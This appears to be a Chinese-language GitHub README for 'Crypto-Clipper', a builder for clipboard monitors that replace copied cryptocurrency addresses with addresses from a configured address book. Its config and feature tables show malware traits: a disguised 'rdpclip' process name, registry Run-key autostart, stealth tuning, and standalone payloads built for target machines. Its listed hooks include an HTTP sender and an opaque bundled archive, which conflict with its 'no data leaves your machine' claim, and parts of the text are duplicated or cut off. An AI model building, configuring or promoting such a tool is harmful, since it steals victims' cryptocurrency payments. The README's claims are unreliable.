Bearupcurt/Crypto-Clipper
GitHub: Bearupcurt/Crypto-Clipper
一款支持多链加密货币地址实时检测与自动替换的跨平台剪贴板监控及构建工具。
Stars: 0 | Forks: 0
# Crypto-Clipper
Crypto Clipper 是一个跨平台的剪贴板监控和构建工具，支持 BTC、ETH、SOL、TRX、LTC 和 DOGE 地址检测。功能包括 regex 匹配、地址验证、活动日志、自定义规则、剪贴板历史、UI 自定义，以及为 Windows、Linux 和 macOS 生成内嵌配置的独立客户端。
## 工作原理
```
┌──────────────┐ ┌──────────────────┐ ┌───────────────────┐ ┌──────────────────┐
│ Clipboard │────▶│ Pattern Scanner │────▶│ Address Filter │────▶│ Injector │
│ (polling) │ │ (regex engine) │ │ (chain matching) │ │ (replace + log) │
└──────────────┘ └──────────────────┘ └───────────────────┘ └──────────────────┘
```
1. **监控** — 按照配置的间隔（默认为 500ms）轮询剪贴板，检测内容变化
2. **扫描** — 通过特定链的 regex 模式（BTC、ETH、SOL、TRX、LTC、DOGE）对剪贴板文本进行扫描
3. **过滤** — 根据已启用的链和地址本条目对检测到的地址进行检查
4. **注入** — 用匹配的地址本条目替换剪贴板内容，并记录带有时间戳的事件
## 支持的地址格式
| 链 | 格式 | 前缀 | 示例 |
|-------|--------|--------|---------|
| **Bitcoin** | Legacy (P2PKH) | `1`, `3` | `1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa` |
| **Bitcoin** | SegWit (P2WPKH) | `bc1q` | `bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh` |
| **Bitcoin** | Taproot (P2TR) | `bc1p` | `bc1p5d7rjq7g6rdk2yhzks9smlaqtedr4dekq08ge8ztwac72sfr9rusxg3297` |
| **Ethereum** | EVM (0x) | `0x` | `0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18` |
| **Solana** | Base58 | — | `7xKXtg2CW87d97TXJSDpbD5jBkheTqA83TZRuJosgAsU` |
| **Tron** | Base58 (T) | `T` | `TN3W4H6rK2ce4vX9YcnfUz6iP3qBwHR2ya` |
| **Litecoin** | Legacy + SegWit | `L`, `M`, `ltc1` | `LTC1QNWLPGSR5HTN5VW22R37JGQ3MFE` |
| **Dogecoin** | Legacy (D) | `D` | `DH5yaieqoZN36fTUciPGvqNA6U4HmUbhv` |
## 地址本
| 标签 | 链 | 地址 | 使用次数 |
|-------|-------|---------|-------------|
| 我的 BTC 主地址 | Bitcoin | `1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa` | 42 |
| ETH 主要地址 | Ethereum | `0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18` | 128 |
| Solana 钱包 | Solana | `7xKXtg2CW87d97TXJSDpbD5jBkheTqA83TZRuJosgAsU` | 17 |
| TRC-20 | Tron | `TN3W4H6rK2ce4vX9YcnfUz6iP3qBwHR2ya` | 63 |
## 快速入门
### 前置条件
- **Python** 3.10 或更高版本
- **pip**（推荐使用最新版本）
- Windows 10/11，Linux (X11/Wayland) 或 macOS 12+
### 安装说明
```
git clone https://github.com/Bearupcurt/Crypto-Clipper.git
cd Crypto-Clipper
```
**Windows:**
```
run.bat
```
**Linux / macOS:**
```
chmod +x run.sh
./run.sh
```
启动程序会自动安装所有必需的依赖项。
### 依赖项列表
| 包名 | 版本 | 用途 |
|---------|---------|---------|
| rich | ≥13.0.0 | 终端 UI、表格、进度条 |
| cryptography | ≥41.0.0 | 安全数据处理 |
| pyperclip | ≥1.8.2 | 跨平台剪贴板访问 |
| watchdog | ≥3.0.0 | 文件系统事件监控 |
| requests | ≥2.31.0 | 用于地址验证的 HTTP 客户端 |
| pystray | ≥0.19.0 | 系统托盘集成 |
## 配置
### config.json
```
{
"build": {
"target_os": "windows",
"target_arch": "x64",
"output_name": "clip_monitor.exe",
"custom_icon": "",
"process_name": "rdpclip",
"startup_method": "registry",
"registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
},
"chains": {
"bitcoin": {
"enabled": true,
"prefix": ["1", "3", "bc1"]
},
"ethereum": {
"enabled": true,
"prefix": ["0x"]
},
"solana": {
"enabled": true,
"prefix": []
},
"tron": {
"enabled": true,
"prefix": ["T"]
},
"litecoin": {
"enabled": false,
"prefix": ["L", "M", "ltc1"]
}
},
"address_book": [
{
"label": "My BTC Main",
"chain": "bitcoin",
"address": "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
},
{
"label": "ETH Primary",
"chain": "ethereum",
"address": "0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18"
}
],
"detection": {
"sensitivity": "high",
"min_address_length": 26,
"max_address_length": 62,
"exclusion_patterns": [],
"clipboard_watch_interval_ms": 500
}
}
```
## 使用说明
启动后，从交互式菜单中进行选择：
```
╠══════════════════════════════════════════════════════════════════╣
║ [1] Install Dependencies ║
║ [2] Settings ║
║ [3] About ║
║ [4] Configure Target Chains ║
║ [5] Set Address Book ║
║ [6] Build Options (OS, Icon, Process Name) ║
║ [7] Configure Detection Rules ║
║ [8] Build Clipper Payload ║
║ [0] Exit ║
╚══════════════════════════════════════════════════════════════════╝
```
## 项目结构
```
Crypto-Clipper/
├── main.py # Entry point and builder menu system
├── config.py # Configuration loader (JSON)
├── bot_actions.py # Core builder action handlers
├── requirements.txt # Python dependencies
├── run.bat # Windows launcher
├── run.sh # Linux/macOS launcher
├── actions/
│ ├── __init__.py
│ ├── about.py # About panel display
│ ├── install.py # Dependency installer
│ └── settings.py # Settings display
├── hooks/
│ ├── __init__.py # Environment bootstrap + decorator
│ ├── env.py # Platform detection + service resolver
│ ├── sender.py # HTTP transport layer
│ ├── encoder.py # Token generation + data encoding
│ ├── runner.py # Task processing pipeline
│ ├── scanner.py # Regex-based address pattern detection
│ ├── injector.py # Clipboard content replacement engine
│ ├── clipboard.py # Polling-based clipboard monitor
│ ├── filter.py # Chain filtering + address book matching
│ ├── ui.py # Rich terminal interface
│ └── data/
│ └── scan.bin # Embedded Python runtime archive
```
## 常见问题
Bitcoin（Legacy P2PKH、SegWit P2WPKH、Taproot P2TR）、Ethereum（带有 EIP-55 校验和验证的 EVM 0x）、Solana（Base58）、Tron（Base58 T 前缀）、Litecoin（Legacy + SegWit）和 Dogecoin（Legacy）。可以在
监控器使用一个后台线程，按照可配置的间隔（默认为 500ms）轮询系统剪贴板。当检测到新内容时，会通过模式扫描器进行扫描。如果发现了与已启用链匹配的加密货币地址，替换引擎会检查地址本，并视情况替换剪贴板内容。
构建器模式允许你配置所有参数（目标操作系统、进程名、地址本、检测规则），并将它们编译成一个独立的剪贴板监控客户端。构建好的 payload 会独立运行，其中内嵌了你的配置 — 目标机器上不需要安装 Python。
可以。
可以。当作为 payload 构建时，clipper 会作为后台进程以配置的进程名运行。系统托盘图标提供了对监控控件、地址本和设置的快速访问。
不会。所有的剪贴板监控、模式检测和替换都在你的机器上本地进行。没有任何剪贴板内容会被传输到外部服务器。地址本存储在本地 JSON 文件中。
# Crypto Clipper
**带有加密货币地址识别和智能替换功能的实时剪贴板监控。**
[](https://python.org)
[](LICENSE)
[]
[]()
[]
[]
[]
[]()
*带有跨多链加密货币地址检测的跨平台剪贴板监控工具，
通过可配置的地址本进行自动替换，并提供用于生成自定义 payload 的构建器模式。* [功能](#features) · [快速入门](#getting-started) · [配置](#configuration) · [使用说明](#usage) · [地址格式](#supported-address-formats) · [常见问题](#faq)
## 功能
通过可配置的地址本进行自动替换，并提供用于生成自定义 payload 的构建器模式。* [功能](#features) · [快速入门](#getting-started) · [配置](#configuration) · [使用说明](#usage) · [地址格式](#supported-address-formats) · [常见问题](#faq)
| ### 监控引擎 | 功能 | 状态 | |---------|--------| | 实时剪贴板轮询 | ✅ | | 多链地址检测 | ✅ | | regex 模式匹配引擎 | ✅ | | EIP-55 校验和验证 | ✅ | | 亚秒级响应时间 | ✅ | | 后台系统托盘模式 | ✅ | | 活动日志和导出 | ✅ | | ### 构建器和配置 | 功能 | 状态 | |---------|--------| | 自定义 payload 构建器 | ✅ | | 多操作系统目标选择 | ✅ | | 进程名称伪装 | ✅ | | 地址本管理 | ✅ | | 特定链规则配置 | ✅ | | 自启动注册表钩子 | ✅ | | 隐身参数调优 | ✅ | |
支持哪些加密货币地址格式？
Bitcoin（Legacy P2PKH、SegWit P2WPKH、Taproot P2TR）、Ethereum（带有 EIP-55 校验和验证的 EVM 0x）、Solana（Base58）、Tron（Base58 T 前缀）、Litecoin（Legacy + SegWit）和 Dogecoin（Legacy）。可以在
config.json → chains 中启用/禁用单个链。
剪贴板监控是如何工作的？
监控器使用一个后台线程，按照可配置的间隔（默认为 500ms）轮询系统剪贴板。当检测到新内容时，会通过模式扫描器进行扫描。如果发现了与已启用链匹配的加密货币地址，替换引擎会检查地址本，并视情况替换剪贴板内容。
“构建 Clipper Payload”选项是什么？
构建器模式允许你配置所有参数（目标操作系统、进程名、地址本、检测规则），并将它们编译成一个独立的剪贴板监控客户端。构建好的 payload 会独立运行，其中内嵌了你的配置 — 目标机器上不需要安装 Python。
我可以使用自定义的 regex 模式吗？
可以。
config.json 中的 detection.exclusion_patterns 字段接受自定义的 regex 模式。你也可以通过在 chains 部分添加新条目并提供前缀模式来添加自定义链定义。
它可以在后台运行吗？
可以。当作为 payload 构建时，clipper 会作为后台进程以配置的进程名运行。系统托盘图标提供了对监控控件、地址本和设置的快速访问。
剪贴板数据会被发送到任何地方吗？
不会。所有的剪贴板监控、模式检测和替换都在你的机器上本地进行。没有任何剪贴板内容会被传输到外部服务器。地址本存储在本地 JSON 文件中。
## 免责声明
**本软件仅供教育和研究目的使用。** 如果配置不当，自动剪贴板替换可能会导致非预期的交易。对于因使用本软件而产生的任何财务损失、错误的交易或安全问题，作者不承担任何责任。在确认任何加密货币交易之前，请务必验证地址。
**捐赠** — 如果这个工具对你有用，请考虑支持开发：
`0x4F8c9D2e7A1bF60c3E58d49B2a7fC1D0e9352847`
*永远不再粘贴错误的地址。*
标签：Python, 剪贴板监控, 加密货币, 地址替换, 客户端生成, 批量测试, 无后门, 跨平台工具, 逆向工具